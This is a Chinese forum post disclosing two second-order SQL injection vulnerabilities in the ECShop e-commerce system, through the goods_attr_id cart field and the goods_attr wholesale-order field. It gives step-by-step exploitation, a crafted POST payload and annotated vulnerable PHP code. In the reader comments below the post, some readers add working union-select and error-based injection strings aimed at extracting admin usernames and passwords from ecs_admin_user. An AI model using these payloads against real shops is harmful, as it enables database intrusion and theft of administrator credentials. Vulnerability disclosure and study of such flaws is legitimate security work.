ecshop的goods_attr和goods_attr_id两个二次注入漏洞
漏洞作者:BLUE
一:goods_attr_id的二次注入
注入利用过程:
1.添加商品到购物车时,写入注入代码到商品属性id
http://localhost/test/ecshop/flow.php?step=add_to_cart注意,需要spec有两个或以上id
2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了)
代码分析
1./includes/lib_goods.php 942行2./includes/lib_common.php 2266行get_final_price有spec_price的调用
3.再看get_final_price方法的调用 在ecshop/flow.php flow_update_cart方法,2272行二:good_attr的二次注入
1.插入注入代码(goods_attr)至订单商品(/wholesale.php可以插入,即商品批发页面,
2.将1生成的订单在用户中心订单查看页执行“放回购物车”操作。
3.查看购物车页面,注入代码执行
代码分析:
1./includes/lib_order.php get_cart_goods()方法(读取购物车的商品),1626行起2. /wholesale.php 160行起(将商品提交到购物车,实际上是提交到了$_SESSION)3./wholesale.php 380行起(act=='submit_order'), 将$_SESSION里的数据写入订单4.到3为止,已经可以将注入代码写到订单商品表(order_goods)里了,接下来就是进入购物车数据表,在用户中心查看订单时有个"放回购物车"操作,可以将订单商品放到购物车数据表(cart)里,
然后在查看购物车页面/flow.php即能看到注入结果了(见1的代码分析)
/includes/lib_transaction.php return_to_cart方法 854行起
一:goods_attr_id的二次注入
注入利用过程:
1.添加商品到购物车时,写入注入代码到商品属性id
http://localhost/test/ecshop/flow.php?step=add_to_cart
POST: goods={"quick":1,"spec":["163","158'"],"goods_id":32,"number":"1","parent":0}
2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了)
代码分析
1./includes/lib_goods.php 942行
function spec_price($spec)
{
if (!empty($spec))
{
$where = db_create_in($spec, 'goods_attr_id'); //这里是注入位置,能控制$spec就可以了
$sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . " WHERE $where";
$price = floatval($GLOBALS['db']->getOne($sql));
}
else
{
$price = 0;
}
return $price;
}
3.再看get_final_price方法的调用 在ecshop/flow.php flow_update_cart方法,2272行
/* 处理普通商品或非优惠的配件 */
else
{
$attr_id = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); //看,$attr_id是读取的购物车商品的goods_attr_id字段,所以只要在添加商品到购物车时写入注入代码就可以了
$goods_price = get_final_price($goods['goods_id'], $val, true, $attr_id);
//更新购物车中的商品数量
$sql = "UPDATE " .$GLOBALS['ecs']->table('cart').
" SET goods_number = '$val', goods_price = '$goods_price' WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";
}
1.插入注入代码(goods_attr)至订单商品(/wholesale.php可以插入,即商品批发页面,
2.将1生成的订单在用户中心订单查看页执行“放回购物车”操作。
3.查看购物车页面,注入代码执行
代码分析:
1./includes/lib_order.php get_cart_goods()方法(读取购物车的商品),1626行起
/* 查询规格 */
if (trim($row['goods_attr']) != '')
{
$sql = "SELECT attr_value FROM " . $GLOBALS['ecs']->table('goods_attr') . " WHERE goods_attr_id " .
db_create_in($row['goods_attr']); //goods_attr是购物车商品的属性,所以只要能控制注入代码进入购物车商品就ok了,这是二次注入的原因
$attr_list = $GLOBALS['db']->getCol($sql);
foreach ($attr_list AS $attr)
{
$row['goods_name'] .= ' [' . $attr . '] '; //union select方式可以将数据库内容查询出来显示到页面上
}
}
/*------------------------------------------------------ */
//-- 加入购物车
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'add_to_cart')
{
/* 取得参数 */
$act_id = intval($_POST['act_id']);
$goods_number = $_POST['goods_number'][$act_id];
$attr_id = isset($_POST['attr_id']) ? $_POST['attr_id'] : array();
if(isset($attr_id[$act_id]))
{
$goods_attr = $attr_id[$act_id]; //可控,可以参考我在截图里构造的提交数据
}
…
/* 插入订单商品 */
foreach ($_SESSION['wholesale_goods'] as $goods)
{
//如果存在货品
$product_id = 0;
if (!empty($goods['goods_attr_id']))
{
$goods_attr_id = array();
foreach ($goods['goods_attr_id'] as $value)
{
$goods_attr_id[$value['attr_id']] = $value['attr_val_id'];
}
ksort($goods_attr_id);
$goods_attr = implode('|', $goods_attr_id);
$sql = "SELECT product_id FROM " . $ecs->table('products') . " WHERE goods_attr = '$goods_attr' AND goods_id = '" . $goods['goods_id'] . "'";
$product_id = $db->getOne($sql);
}
$sql = "INSERT INTO " . $ecs->table('order_goods') . "( " .
"order_id, goods_id, goods_name, goods_sn, product_id, goods_number, market_price, ".
"goods_price, goods_attr, is_real, extension_code, parent_id, is_gift) ".
" SELECT '$new_order_id', goods_id, goods_name, goods_sn, '$product_id','$goods[goods_number]', market_price, ".
"'$goods[goods_price]', '$goods[goods_attr]', is_real, extension_code, 0, 0 ".
" FROM " .$ecs->table('goods') .
" WHERE goods_id = '$goods[goods_id]'";
$db->query($sql);
然后在查看购物车页面/flow.php即能看到注入结果了(见1的代码分析)
/includes/lib_transaction.php return_to_cart方法 854行起
...
// 要返回购物车的商品 //约923行
$return_goods = array(
'goods_id' => $row['goods_id'],
'goods_sn' => addslashes($goods['goods_sn']),
'goods_name' => addslashes($goods['goods_name']),
'market_price' => $goods['market_price'],
'goods_price' => $goods['goods_price'],
'goods_number' => $row['goods_number'],
'goods_attr' => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']), //看过来,重点在这,$row是订单商品,虽然addslashes了,但这是二次注入,最终会从数据库里再出来进入查询(见1的代码分析)
'goods_attr_id' => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'],
'is_real' => $goods['is_real'],
'extension_code'=> addslashes($goods['extension_code']),
'parent_id' => '0',
'is_gift' => '0',
'rec_type' => CART_GENERAL_GOODS
);
...
评论30次
从来没利用成功过。。。
感谢分享,收藏下!
x辛苦了、、、
这个有些复杂啊,得细细看看
') and 1=2 union select hex(substring(password from %d for 4)) from ecs_admin_user where user_id=1 order by attr_price desc #
求调教!
可以利用的,语句不能写这样,要改一下的
确实辛苦了。
测试成功的同学可以出来发表下吗!
第一个可以利用,不过过滤掉了,所以还是不能用。 插入语句后回显的是这样的 <b>MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT SUM(attr_price) AS attr_price FROM `free19688`.`ecs_goods_attr` WHERE goods_attr_id IN ('56','57')and(select 1 from(select count(*)','concat(floor(rand(0)*2)','0x3a','(select(select(SELECT concat(user_name','password)FROM ecs_admin_user limit 0','1))from information_schema.tables limit 0','1))x from information_schema.tables group by x)a) and 1=1#') ) [2] => Array ( [error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'concat(floor(rand(0)*2)','0x3a','(select(select(SELECT concat(user_name','passwo' at line 1 ) [3] => Array ( [errno] => 1064 ) )
为什么我测试无效.. 官方下载的最新版 当然是楼文发布之后10分钟去下载那个版本. 2.7.3
不错
这个二次注入跟以前发那个一样的吧,Tamper Data截包改下包就行,报错注入,购物车填写收货确认这里所有参数都没过滤
好好看看
正好需要二次漏洞的案例,感谢LZ
卧槽 楼主金币真多
。。。不是已经给出利用方法了?
看不懂的啊
学xi了
关注.